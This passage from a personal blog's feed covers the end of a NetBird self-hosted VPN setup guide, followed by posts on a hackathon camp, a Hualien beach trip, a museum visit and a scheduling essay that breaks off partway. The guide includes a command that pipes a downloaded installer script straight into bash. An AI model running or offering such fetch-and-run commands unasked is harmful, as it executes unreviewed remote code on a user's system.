&lt;li&gt;A Linux host with a public IP (I use GCP Ubuntu 22.04).&lt;/li&gt;
&lt;li&gt;Your own domain&lt;/li&gt;
&lt;li&gt;Docker installed—it’s a good thing&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;step-1-configure-gcp-firewall&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#step-1-configure-gcp-firewall&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Step 1: Configure GCP Firewall&lt;/h3&gt;
&lt;p&gt;Before installing, you must open up network access on the server. GCP blocks external connections by default. Go to GCP console &lt;strong&gt;VPC Network -&gt; Firewall&lt;/strong&gt;, add a rule to open these ports to all sources (&lt;code&gt;0.0.0.0/0&lt;/code&gt;):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;TCP 80, 443&lt;/strong&gt;: For web dashboard and automatic Let’s Encrypt SSL certificate requests.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TCP 33073&lt;/strong&gt;: NetBird gRPC management port.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UDP 3478&lt;/strong&gt;: STUN service (this is key for devices to successfully P2P hole-punch).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UDP 33073&lt;/strong&gt;: Signal service.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;step-2-configure-cloudflare-dns&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#step-2-configure-cloudflare-dns&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Step 2: Configure Cloudflare DNS&lt;/h3&gt;
&lt;p&gt;Go to Cloudflare dashboard, add an A record:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Name&lt;/strong&gt;: &lt;code&gt;whatever you like&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IPv4 address&lt;/strong&gt;: Your GCP server’s public IP&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Proxy status&lt;/strong&gt;: &lt;strong&gt;Set to DNS Only (gray cloud)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;step-3-run-official-installation-script&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#step-3-run-official-installation-script&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Step 3: Run Official Installation Script&lt;/h3&gt;
&lt;p&gt;SSH into your GCP server, download and run the official installation script:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;curl&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; -fsSL&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; https://github.com/netbirdio/netbird/releases/latest/download/setup.sh&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; |&lt;/span&gt;&lt;span style=&quot;color:#FFA657&quot;&gt; bash&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;During execution, the script will ask a few questions. If you want simple, choose &lt;code&gt;0&lt;/code&gt; for the first one—no need to manually handle SSL certificates. Next it’ll ask if you need a reverse proxy—personal preference. Finally enter your URL and you’re done.&lt;/p&gt;
&lt;h3 id=&quot;step-4-connect&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#step-4-connect&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Step 4: Connect&lt;/h3&gt;
&lt;p&gt;Open your custom website in a browser. First login requires creating an admin account. Download the client based on your operating system.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Server Settings&lt;/strong&gt;&lt;br&gt;
Click &lt;code&gt;Setup Key&lt;/code&gt; &gt; &lt;code&gt;Create Setup Key&lt;/code&gt;—this is the key for connecting, only used during initial setup. Give it a name, other settings can stay as is. The key only appears once, so copy it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Client Settings&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Linux&lt;/strong&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;netbird&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; up&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; --management-url&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; https://your-vpn-url&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; --setup-key&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; YOUR_SETUP_KEY&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Windows&lt;/strong&gt;&lt;br&gt;
After downloading the client, click &lt;code&gt;Settings&lt;/code&gt; &gt; &lt;code&gt;Advanced Settings&lt;/code&gt;. Change the URL to your own. Then open PowerShell and enter:
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;shell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;netbird&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; up&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; --setup-key&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; YOUR_SETUP_KEY&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>SCIST X SCAICT Joint Winter Camp</title><link>https://www.windson.cc/en/posts/scist-scaict-camp/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/scist-scaict-camp/</guid><description> It’s been a month since my last post. I was basically lazing around at home throughout January, so there wasn’t much to write about. But in early February, I participated in a hackathon organized by </description><pubDate>Fri, 13 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;It’s been a month since my last post. I was basically lazing around at home throughout January, so there wasn’t much to write about. But in early February, I participated in a hackathon organized by high school students. &lt;a href=&quot;https://scist.camp/&quot;&gt;Event website here&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;how-i-found-out-about-this-event&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#how-i-found-out-about-this-event&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;How I Found Out About This Event&lt;/h2&gt;
&lt;p&gt;Around early December last year, &lt;a href=&quot;https://www.iach.cc&quot;&gt;Each&lt;/a&gt; posted &lt;a href=&quot;https://www.iach.cc/reason-go-scaict-wintercamp/&quot;&gt;Reasons Why You Should Attend SCIST x SCAICT 2026 Joint Winter Camp&lt;/a&gt;. &lt;del&gt;Though the main point of this article clearly isn’t that&lt;/del&gt;, it still attracted the target audience—me. As someone who previously only did competitive programming and dabbled a tiny bit in information security. First time seeing a development camp (or maybe I just never noticed before) with AI, Discord bots, and cloud deployment. Had to seize the opportunity to play around!&lt;/p&gt;
&lt;h2 id=&quot;after-attending-i-discovered&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#after-attending-i-discovered&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;After Attending, I Discovered…&lt;/h2&gt;
&lt;h3 id=&quot;these-high-school-kids-are-all-better-than-me&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#these-high-school-kids-are-all-better-than-me&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;These High School Kids Are All Better Than Me&lt;/h3&gt;
&lt;p&gt;This event was organized by high school students, and the instructors were freshmen. All the information systems here were developed by themselves. Coming to this event felt like entering a wonderful circle—those special students who were few and far between on campus were everywhere here. Kind of regret not joining the Info-Research club in high school, &lt;del&gt;went to sing in guitar club but didn’t practice much anyway&lt;/del&gt;. The current NCDECC (中電會) is in its fifth generation, which means if I had joined right away, I could now proudly say: “I’m an executive from when NCDECC was founded!” Though joining now isn’t too late, I just have the guitar club to manage and don’t have the energy for this.&lt;/p&gt;
&lt;p&gt;The instructors this time were &lt;a href=&quot;https://osga.dev&quot;&gt;OsGa&lt;/a&gt; and &lt;a href=&quot;https://4yu.dev&quot;&gt;4yu&lt;/a&gt;, teaching Discord bots, Git, and AI series respectively. But during OsGa’s class, I was mostly watching him show off with vim. So I grabbed the chance to ask him how to practice vim. Was recommended &lt;a href=&quot;https://sitcon.org/2026/agenda/c1d927/&quot;&gt;Sitcon EXPRESSO 10x Development! Development Environment to Break Free from Mouse&lt;/a&gt;—this was OsGa’s session that day and I’ll be there. AAPL time over—basically just keep practicing and you’ll never go back to Vscode from Vim, so I’m starting to practice now~ This article was also completed in Vim. As for what I learned in 4yu’s class? His class pushed me straight into the AI rabbit hole, so I grabbed &lt;a href=&quot;https://onepiece.nchu.edu.tw/cofsys/plsql/Syllabus_main?v_strm=1142&amp;#x26;v_class_nbr=3242&quot;&gt;Machine Learning and Data Mining Applications&lt;/a&gt; from the department.&lt;/p&gt;
&lt;h3 id=&quot;whats-it-like-having-counselors-and-other-participants-younger-than-me1&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#whats-it-like-having-counselors-and-other-participants-younger-than-me1&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;What’s It Like Having Counselors and Other Participants Younger Than Me?&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot; id=&quot;user-content-fnref-1&quot; data-footnote-ref=&quot;&quot; aria-describedby=&quot;footnote-label&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/h3&gt;
&lt;p&gt;Only the night before the camp started did I realize this. Since the event was organized by high school students, the staff were high schoolers too! So my counselor… would be a high schooler without accident, &lt;del&gt;started worrying about the generation gap&lt;/del&gt;. But the result was no gap at all!! Maybe because we played that legendary game on the first night, &lt;del&gt;(legend really is a social game)&lt;/del&gt; which helped us warm up, or maybe everyone was just quirky from the start.&lt;/p&gt;
&lt;p&gt;Must give major props to our counselor — Jiao Ge, who dealt with our noisiness and quirkiness, played games even more seriously than us, &lt;del&gt;except for loves bombing the server with shine&lt;/del&gt;, everything else was top-notch. When the project hit a wall, came down to help, gave full emotional value, and even treated us to drinks at the end. First time seeing such a dedicated counselor. Actually there was another counselor — Water Bottle Sister, but she seemed shy so I couldn’t write much about her…&lt;/p&gt;
&lt;h2 id=&quot;what-did-i-develop-this-time&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#what-did-i-develop-this-time&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;What Did I Develop This Time&lt;/h2&gt;
&lt;p&gt;Developed &lt;a href=&quot;https://github.com/weichenlin1209/minecraft-bot&quot;&gt;minecraft-bot&lt;/a&gt; for this hackathon—it’s a module that lets you chat with AI in-game. I was responsible for writing LLM, backend, and API integration. &lt;del&gt;Frankly speaking, everything except the module part was done by me&lt;/del&gt;, the division of labor was very unclear, mainly because I didn’t know how to divide it either. Anyway, if anyone’s too free, feel free to clone and play around, though it’s currently very user-unfriendly.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Though I promised Jiao Ge a 2000-word reflection, I’m already running out of words. Can’t be helped, this is it then.&lt;/p&gt;
&lt;section data-footnotes=&quot;&quot; class=&quot;footnotes&quot;&gt;&lt;h2 class=&quot;sr-only&quot; id=&quot;footnote-label&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#footnote-label&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Footnotes&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-1&quot;&gt;
&lt;p&gt;Actually I thought I’d be found out from the start, turns out it was exposed on the second or third day—small surprise. &lt;a href=&quot;#user-content-fnref-1&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 1&quot; class=&quot;data-footnote-backref&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>A Spontaneous Trip</title><link>https://www.windson.cc/en/posts/A-trip-on-a-whim/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/A-trip-on-a-whim/</guid><description> This is my submission for the “First BlogBlog Club Gathering.” Spontaneous Departure The day before yesterday at noon, my brother said he was going to a beach campsite. Then in the afternoon, we got </description><pubDate>Mon, 19 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;This is my submission for the “&lt;a href=&quot;https://blogblog.club/party/&quot;&gt;First BlogBlog Club Gathering&lt;/a&gt;.”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;spontaneous-departure&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#spontaneous-departure&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Spontaneous Departure&lt;/h2&gt;
&lt;p&gt;The day before yesterday at noon, my brother said he was going to a beach campsite. Then in the afternoon, we got a report back—his car got its front wheel stuck in the sand on the way in.&lt;br&gt;
&lt;del&gt;Using this as an excuse&lt;/del&gt;, my dad suggested we should go “rescue” &lt;del&gt;the camping&lt;/del&gt; trip, so we packed everything within fifteen minutes and hit the road.&lt;/p&gt;
&lt;p&gt;The only problem was—that beach was in Hualien.&lt;/p&gt;
&lt;p&gt;The three of us crazies drove through the night, rushing from Taichung straight to Hualien. I also unlocked all my firsts: first time driving through the Snow Tunnel, first time on the Su-Hua Highway, first time on the Su-Hua Reconstruction—achievement unlocked all at once.&lt;/p&gt;
&lt;h2 id=&quot;campsite--hezhong-beach&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#campsite--hezhong-beach&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Campsite ── Hezhong Beach&lt;/h2&gt;
&lt;p&gt;Our destination was &lt;a href=&quot;https://www.google.com/maps/place/%E5%92%8C%E4%B8%AD%E6%B2%99%E7%81%98/@24.2636452,121.7414553,17z&quot;&gt;Hezhong Beach&lt;/a&gt;. By the time we arrived, it was pitch black. The campsite was about thirty meters from the sea—you could clearly hear the waves, and the wind was stronger than expected. After unloading equipment in the dark and setting up the tent, we realized something crucial—we brought a &lt;strong&gt;cooking canopy&lt;/strong&gt;, not a sleeping tent. We left in such a hurry, but couldn’t do anything about it now. To keep the wind from blowing the tent away, we moved four big rocks to weigh down the ropes originally meant for tent stakes (you can’t really stake into sand anyway).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2026/01/A-trip-on-a-whim/camp.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;After setting up the tent and turning off the lights, looking up, you could clearly see Orion. What fewer people know is that below Orion’s belt are actually three stars connected together—they’re bright, just not usually noticed. Phone cameras couldn’t capture it, plus my hands weren’t steady, so I won’t embarrass myself by showing the photos.&lt;/p&gt;
&lt;h3 id=&quot;earthquake&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#earthquake&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Earthquake&lt;/h3&gt;
&lt;p&gt;This is off-topic. At 1:01 AM that day, a felt earthquake occurred off the coast of Yilan. Before the earthquake, we heard a very low, deep rumbling &lt;del&gt;&lt;strong&gt;THE TITAN IS COMING!!!&lt;/strong&gt;&lt;/del&gt;, then the whole person was shaken awake. The epicenter was actually quite far south in Yilan, probably less than ten kilometers from us, and the focal depth was very shallow, making it very noticeable. This was also the first time in my life I was this close to an epicenter, the first time I so clearly felt what P-waves and S-waves are.&lt;/p&gt;
&lt;h3 id=&quot;pulling-the-car&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#pulling-the-car&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Pulling the Car&lt;/h3&gt;
&lt;p&gt;Around 5 AM, fishermen from the day before passed by, noticed our car stuck in the sand, and woke us up saying they could try to help pull it out. The car was stuck about half a wheel deep—shifting to R and giving gas just spun the wheels.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2026/01/A-trip-on-a-whim/car.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;At first we tried pushing together—driver reverses to see if it could get out. Of course it didn’t move at all. Later they switched to boat rope, tied it to their own car, and both cars reversed together. After some effort, they finally pulled the car out.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Conclusion: Never drive onto the beach again.&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&quot;sunrise&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#sunrise&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Sunrise&lt;/h3&gt;
&lt;p&gt;After pulling the car out, there was only about half an hour until sunrise. We were already in Hualien—how could we miss the Pacific sunrise? So I found a rock and sat down, waiting for dawn. The clouds that day were a bit thick, and the distant clouds looked like mountain ranges on distant islands. When the sun slowly emerged from behind the “mountains,” the view was actually much prettier than expected.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2026/01/A-trip-on-a-whim/sunrise.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2026/01/A-trip-on-a-whim/sunrise2.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;After watching the sunrise, realizing I still had to drive all the way back to Taichung, I ate breakfast and went back to sleep.&lt;/p&gt;
&lt;h3 id=&quot;nearby-scenery&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#nearby-scenery&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Nearby Scenery&lt;/h3&gt;
&lt;p&gt;This is one of the remnants of the old Su-Hua Highway—one of the tunnel openings. After passing through, you’d reach the location in the second photo.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2026/01/A-trip-on-a-whim/suhua3.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2026/01/A-trip-on-a-whim/suhua1.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;This is a wide shot showing the tunnel from the first photo. Among the pockmarked cliff faces, one hole is the old Su-Hua. Not sure if this is from the Japanese colonial period or the part that broke from the 0403 earthquake.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2026/01/A-trip-on-a-whim/suhua2.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;chongde-beach&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#chongde-beach&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Chongde Beach&lt;/h2&gt;
&lt;p&gt;Because of the 0403 earthquake, the area around Qingshui Cliff severely collapsed. The original service area is gone, so it was relocated to the Chongde Beach side.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2026/01/A-trip-on-a-whim/beach.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>Taichung Green Museumbrary</title><link>https://www.windson.cc/en/posts/Taichung-Green-Museumbrary/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/Taichung-Green-Museumbrary/</guid><description> Today I went to the Taichung Green Museumbrary with Cheng Chi and Eric. Sharing some photos. </description><pubDate>Thu, 15 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Today I went to the &lt;a href=&quot;https://tgm.taichung.gov.tw/zh&quot;&gt;Taichung Green Museumbrary&lt;/a&gt; with &lt;a href=&quot;https://www.instagram.com/cizhao10.31/&quot;&gt;Cheng Chi&lt;/a&gt; and &lt;a href=&quot;https://www.instagram.com/e.r.i.c.t.s.a.i/&quot;&gt;Eric&lt;/a&gt;. Sharing some photos.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2026/01/Taichung-Green-Museumbrary/1.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2026/01/Taichung-Green-Museumbrary/2.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2026/01/Taichung-Green-Museumbrary/3.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2026/01/Taichung-Green-Museumbrary/4.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2026/01/Taichung-Green-Museumbrary/5.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>Scheduling</title><link>https://www.windson.cc/en/posts/scheduling/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/scheduling/</guid><description>Before winter break started, in the midst of finals hell, I thought: winter break is two months long, I must do something. So I listed a bunch of things: Pwn CCNA Discrete Mathematics Build a computer</description><pubDate>Tue, 13 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Before winter break started, in the midst of finals hell, I thought: winter break is two months long, I must do something. So I listed a bunch of things:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Pwn&lt;/li&gt;
&lt;li&gt;CCNA&lt;/li&gt;
&lt;li&gt;Discrete Mathematics&lt;/li&gt;
&lt;li&gt;Build a computer&lt;/li&gt;
&lt;li&gt;Play &lt;a href=&quot;https://store.steampowered.com/app/1245620/ELDEN_RING/&quot;&gt;Elden Ring&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Get &lt;a href=&quot;https://act-webstatic.hoyoverse.com/puzzle/hk4e/pz_LwGS1oxt0J/resource/puzzle/2025/12/22/c5bbb925d7e1bf1919c3f69a3f591911_6907148233834562988.png?x-oss-process=image/format,webp/quality,Q_100&quot;&gt;this girl&lt;/a&gt; in Genshin&lt;/li&gt;
&lt;li&gt;Learn git, HTML, CSS&lt;/li&gt;
&lt;li&gt;Binge watch shows&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Just listing them out made things pile up. Now half of winter break is over and I’ve only learned a tiny bit of Pwn, watched lots of shows, and built the computer. Everything else is just sitting in the Ready queue, starving. If this continues, I might only watch more and more shows by the time school starts. I need a method to plan my time—at least make progress on everything.&lt;/p&gt;
&lt;p&gt;To make discussion easier, first define these terms:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Wait time&lt;/strong&gt;: From deciding to do something to actually starting it&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Turnaround time&lt;/strong&gt;: From deciding to do something to completing it&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;fcfs&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#fcfs&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;FCFS&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;FCFS (First come, first served)&lt;/strong&gt;, first thought of gets handled first, or first come first served. Only one thing at a time, and you must finish before starting the next. Since each task takes different amounts of time, the order affects average completion time. Sounds wordy, so here’s an example:&lt;/p&gt;





















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Task&lt;/th&gt;&lt;th&gt;Estimated time to complete&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;P_1&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8333em;vertical-align:-0.15em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.1389em;&quot;&gt;P&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.3011em;&quot;&gt;&lt;span style=&quot;top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;24&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;P_2&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8333em;vertical-align:-0.15em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.1389em;&quot;&gt;P&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.3011em;&quot;&gt;&lt;span style=&quot;top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;3&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math 